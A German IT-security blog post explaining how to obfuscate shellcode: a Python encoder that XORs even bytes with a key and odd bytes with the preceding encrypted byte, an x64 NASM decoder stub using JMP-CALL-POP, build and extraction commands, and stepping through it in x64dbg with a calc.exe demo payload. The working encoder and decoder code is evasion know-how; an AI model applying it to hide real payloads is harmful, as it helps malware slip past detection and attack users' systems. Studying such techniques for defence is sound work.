Obfuscation: ByteSwapping

Obfuscation: ByteSwapping

Polymorphie

Ein Objekt mit unterschiedlichem Aussehen, erfüllt immer die gleiche Funktion.

Im letzten Beitrag, habe ich einen verschlüsselten Shellcode im Arbeitsspeicher entschlüsselt und ausführen lassen. Als Verschlüsselung habe ich jedes Byte mit einer XOR-Berechnung umgewandelt.

Nun möchte ich etwas mehr Dynamik in die Verschlüsselung bringen, um das Entschlüsseln des Shellcodes etwas zu erschweren.

Vorüberlegungen

Wie bekomme ich nun die Statik, die durch den XOR-Schlüssel vorgegeben ist, heraus? Anstatt jedes Byte mit dem Schlüssel zu berechnen, mache ich dies nur für jedes zweite Byte. Die ausgelassenen Bytes verschlüssele ich dann mit dem Ergebnis des vorherigen: 2)

$EncryptedByte(even) = Byte(even) \wedge Key(XOR)$

$EncryptedByte(odd) = Byte(odd) \wedge EncryptedByte(even)$

Beispiel

An diesem Beispiel, sieht man nun, dass allein durch die Wahl eines anderen XOR-Schlüssels, die Ausgabe stark unterschiedlich ist.

Byte 1 Byte 2 Byte 3 Byte 4
unverschlüsselt01AF45C3
XOR Wert 1 15141550
verschlüsselt 14BB5093
XOR Wert 2 57565712
verschlüsselt 56F912D1

Der Code

Schritt 1: Python Encoder

Die entsprechende Python Funktion ist schnell erklärt:

  • Funktionsaufruf mit den zu verschlüsselnden Bytes und dem gewünschten XOR-Schlüssel
  • Initialisieren der benötigten Variablen
  • Eine for Schleife durchläuft jedes Byte
  • Wenn die Division durch 2 einen Rest von 0 ergibt, haben wir ein gerades Byte
    • Verschlüssele das Byte mit dem XOR-Schlüssel
    • Füge das verschlüsselte Byte dem Bytearray hinzu
    • Speichere das verschlüsselte Byte für den nächsten Durchlauf
  • Sonst ein Ungerades
    • Verschlüssele das Byte mit dem des vorigen Durchlaufs
    • Füge das verschlüsselte Byte dem Bytearray hinzu
  • Gib das Bytearray als Ergebnis zurück
    def encrypt(data: bytes, xor_key: int) -> bytes:
        transformed = bytearray()
        prev_enc_byte = 0
        for i, byte in enumerate(data):
            if i % 2 == 0: # even byte positions
                enc_byte = byte ^ xor_key
            else:          # odd byte positions
                enc_byte = byte ^ prev_enc_byte
 
            transformed.append(enc_byte)
            prev_enc_byte = enc_byte
 
        return bytes(transformed)

Schritt 2: Assembly

Nun muss das Assembly erstellt werden, welches die Verschlüsselung wieder Rückgängig macht. Den kompletten Code findet Ihr am Ende des Beitrags.

Schritt 2.1: Initialisierung und JMP-CALL-POP

_start:
    xor rax, rax
    xor rbx, rbx
    xor rcx, rcx
    mov cl, 242
    jmp short call_decoder
  • Wir setzen die Register RAX, RBX und RCX auf 0
  • Das Register CL bekommt die Länge des Shellcodes
  • Wir springen vor den Shellcode
call_decoder:
	call decoder
	Shellcode: db 0x75,0x3d...0x75
  • Wir rufen die Funktion Decoder auf und die Adresse der nächsten Anweiung (unser Shellcode) wird vom Register RSP auf dem Stack gesichert
decoder:
	pop rsi
  • und schließlich laden wir die Shellcode Adresse vom Stack in das Register RSI

Schritt 2.2: Decoder Schleife

decode_loop:
    test rcx, rcx
    jz Shellcode
  • Prüfe den Wert von RCX
  • Wenn RCX gleich 0, dann springe zum Shellcode
    mov rdx, rsi
    sub dl, Shellcode
    test dl, 1
    jnz odd_byte
  • RDX bekommt die aktuelle Position, an der wir uns befinden
  • Wir subtrahieren die Adresse des Shellcodes von unserer aktuellen Position
  • Ein bitweiser Vergleich zeigt uns, ob der berechnete Index gerade oder ungerade ist
  • Springe, wenn ungerade nach odd_byte

Doch wie funktioniert der Vergleich hier? Die Anweisung TEST prüft, indem Bits verglichen werden. Sehen wir uns die Zahlen 1 - 4 in Binärschreibweise an:

Dezimal 1 2 3 4
Binär0001001000110100

Gerade Zahlen haben immer eine 0 im letzten Bit und ungerade eine 1.

Gerade Zahlen
    mov al, [rsi]
    xor byte [rsi], 0x20
    jmp post_processing
  • Verschiebe das aktuelle verschlüsselte Byte in das Register AL für den nächsten Durchlauf
  • Entschlüssele das Byte mit dem XOR-Schlüssel 0x20
  • Springe nach post_processing
Ungerade Zahlen
odd_byte:
    xor byte [rsi], al 
  • Entschlüssele das Byte mit dem gespeicherten Wert aus dem vorigen Durchlauf
Post-Processing
post_processing:
    inc rsi
    dec rcx
    jmp decode_loop
  • Erhöhe RSI und setze somit die aktuelle Position ein Byte weiter
  • Reduziere RCX, die Länge des Shellcodes
  • Springe zurück zum Anfang der Schleife

Schritt 2.3: Shellcode

Wenn die Bedingungen für das Ende der Schleife erreicht ist, wird direkt in den entschlüsselten Shellcode gesprungen und dieser dann ausgeführt.

Schritt 2.4: Kompilieren und Bereinigen

Nun können wir den Code kompilieren:

nasm -f win64 poly2.asm -o poly.o

Das Bereinigen erledige ich mit ShenCode:

python shencode.py formatout -i poly2.o -s inspect
...
0x00000096: 20 00 50 60 48 31 c0 48
...
0x00000400: a3 67 28 75 1a 00 00 00
  • Wir identifizieren den Anfang und das Ende des Opcodes
python shencode.py extract -i poly2.o -o poly2.raw --start-offset 100 --end-offset 404
  • Dann extrahieren wir diesen und speichern ihn in eine neue Datei
python shencode.py formatout -i poly2.raw --syntax c
...
"\x48\x31\xc0...x67\x28\x75";
  • und können uns den Shellcode als C++ Variable ausgeben lassen

Schritt 3: Injecter

Nun brauchen wir noch einen Injecter um den Shellcode im Arbeitsspeicher zu platzieren. Diesen können wir aus dem vorigen Beitrag übernehmen

Debug

Nach der Kompilierung des Injecters können wir mit dem Debug starten. Ich nutze hierbei x64dbg.

Wir drücken F9 (Ausführen) und landen im Entry Point der Anwendung. Von hier aus suchen wir die Funktion main()

Ist diese gefunden, markieren wir die Zeile und drücken F4 (Ausführen bis Auswahl) und springen mit F7 in die Funktion.

Die letzte Call-Anweisung vor RET ruft den Shellcode auf. Wir markieren diese Zeile und setzen einen Haltepunkt mit F2. Anschließend F9 und das Programm stoppt am Haltepunkt. Mit F7 springen wir hinein.

Nun befinden wir uns im Shellcode. Der Bereich unter der CALL-Anweisung ist unser verschlüsselter Shellcode. Alles drüber ist die Decoder-Routine. Führen wir nun STRG+F7 aus, wird die Ausführung verlangsamt animiert. Hierbei kann man sehr schön sehen, wie der untere Bereich entschlüsselt wird.

Ich habe an dieser Stelle wieder meine Calc-Payload benutzt, so dass am Ende calc.exe ausgeführt wird.

Repository

Den kompletten Shellcode findet Ihr hier:


2)
Anmerkung: Gerade und ungerade bezieht sich auf das Offset, somit ist Byte 1 an Offset 0 gerade und Byte 2 ungerade

Diskussion

Geben Sie Ihren Kommentar ein:
225 +9 =
 
it-security/blog/obfuscation_byteswapping.txt · Zuletzt geändert: 2024/11/25 22:30
CC Attribution-Noncommercial-Share Alike 4.0 International